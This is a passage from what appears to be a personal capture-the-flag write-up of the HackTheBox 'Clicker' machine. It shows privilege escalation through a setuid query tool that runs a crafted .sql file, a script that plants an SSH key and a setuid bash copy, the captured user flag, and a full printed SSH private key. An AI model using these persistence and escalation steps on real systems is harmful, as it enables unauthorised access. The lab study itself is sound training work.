weirdly, it does not seem to be injecting the way I expected.
Ah, that's why:
c
selection = access(__dest,4);
if (selection == 0) {
<SNIP>
}
else {
puts("File not readable or not found");
}
So it checks what we enter to make sure it's a valid file. Damn. can we fool it using a null? Nope.
We may just have to use an actual file.
I considered maybe we could leverage the seg fault, but I dont think so.
Attempting to create malicious mysql backup
We can make a .sql
file in /tmp
and access it using
./execute_query 5 ../../../tmp/s.sql
So, can we abuse the mysql backup feature? Maybe we can use it to execute a system command?
Yes, we can. Using the \!
directive in the .sql
script we can run system commands:
bash
\! touch /tmp/IWasHere
Then:
www-data@clicker:/opt/manage$ ./execute_query 5 ../../../tmp/s.sql
mysql: [Warning] Using a password on the command line interface can be insecure.
www-data@clicker:/opt/manage$ ls /tmp
IWasHere f s s.sql
Hell yeah. Now maybe we can run my script. In /tmp/s.sql
:
bash
\! /tmp/s
In /tmp/s
:
#!/bin/bash
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDt36b40Je0VFcjXzBxNsXPCmTMX02qWOeIm1JIGIy8r+5XLnVyKPLiMN+k+EqBgcdbho9NWVNqzsToh+nTaf2OP47IOhFNdqZjDWeQ4KZOuVWFjVEWLpfAMH14XhTC9a3PuYtZZu1XUSsSD0txREVG/jcwK/nQs0cmmdLSMhCnF0dRYqqC7sGVc7917UF31qMDvEg1TbXrk9umDH2y/LOOxpENsXu+PBxJWeqH67A3B2ChOOvJ/dzgxSJDBQEsIoGiHw0P4jBEWnlkbLp26j2b3PRrjjNq9Ve5an0WseEWScUx3AlJqXUrzXNmklJEzQ12KF0OxRgU6Z11xmngJaRsYp6RDXqaSNlH5YFSAB2xM2vaCFS5clac3ZldHPANdk90ZLjNAt0W3gz0cNJcezuRF7N49w5+hbqMFWqp7Q8zgvltRoOTTGjv7+C2emqQ/mz6poiXNCCg/kou+6gj+hoHUDs0b18Fmv6eZvddD2HpBOHItnJVxbrEUxSxawfdsI0= kali@kali" >> ~/.ssh/authorized_keys
cp /bin/bash /dev/shm/1332
chmod +s /dev/shm/1332
Then we run it:
www-data@clicker:/opt/manage$ ./execute_query 5 ../../../tmp/s.sql
mysql: [Warning] Using a password on the command line interface can be insecure.
www-data@clicker:/opt/manage$ ls -l /dev/shm/
total 1380
-rwsr-sr-x 1 jack www-data 1396520 Nov 23 09:10 1332
-rw-r--r-- 1 www-data www-data 17 Nov 23 08:47 inject
-rwxr-xr-x 1 www-data www-data 661 Nov 23 08:15 script.sh
-rw-r--r-- 1 www-data www-data 18 Nov 23 08:31 test
-rw-r--r-- 1 www-data www-data 18 Nov 23 08:44 test2
There we go: we have the SUID shell as jack. I'd prefer to just SSH in, so let me see if the key worked:
$ ssh -i ./id_rsa jack@clicker
The authenticity of host 'clicker (10.10.11.232)' can't be established.
ED25519 key fingerprint is SHA256:OAOlD4te1rIAd/MBDNbXq9MuDWSFoc6Jc3eaBCC5u7o.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'clicker' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Nov 23 09:12:39 AM UTC 2023
System load: 0.0
Usage of /: 53.3% of 5.77GB
Memory usage: 20%
Swap usage: 0%
Processes: 247
Users logged in: 0
IPv4 address for eth0: 10.10.11.232
IPv6 address for eth0: dead:beef::250:56ff:feb9:a10b
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
jack@clicker:~$
Hell yeah.
Shell as Jack: Enum/Priv Esc
DAMN. That user flag was HARD fought:
jack@clicker:~$ ls
queries user.txt
jack@clicker:~$ cat user.txt
a470c2de9685f7683243cbc959e42f2e
That's officially the first live medium box I got user flag on. That was awesome.
Jack can use sudo without a password:
jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh
Okay. So if we had his password we could run any command, but we can run the monitor script as root without password. Let's see whats up with that.
monitor.sh:
bash
#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
Why does it unset the 2 PERL library variables?
And can we pass environment variables to a program?
Ill come back to this, since I dont see any obvious way to exploit it at the moment. Next Ill run linpeas
Linpeas
Scan revealed an SSH private key:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----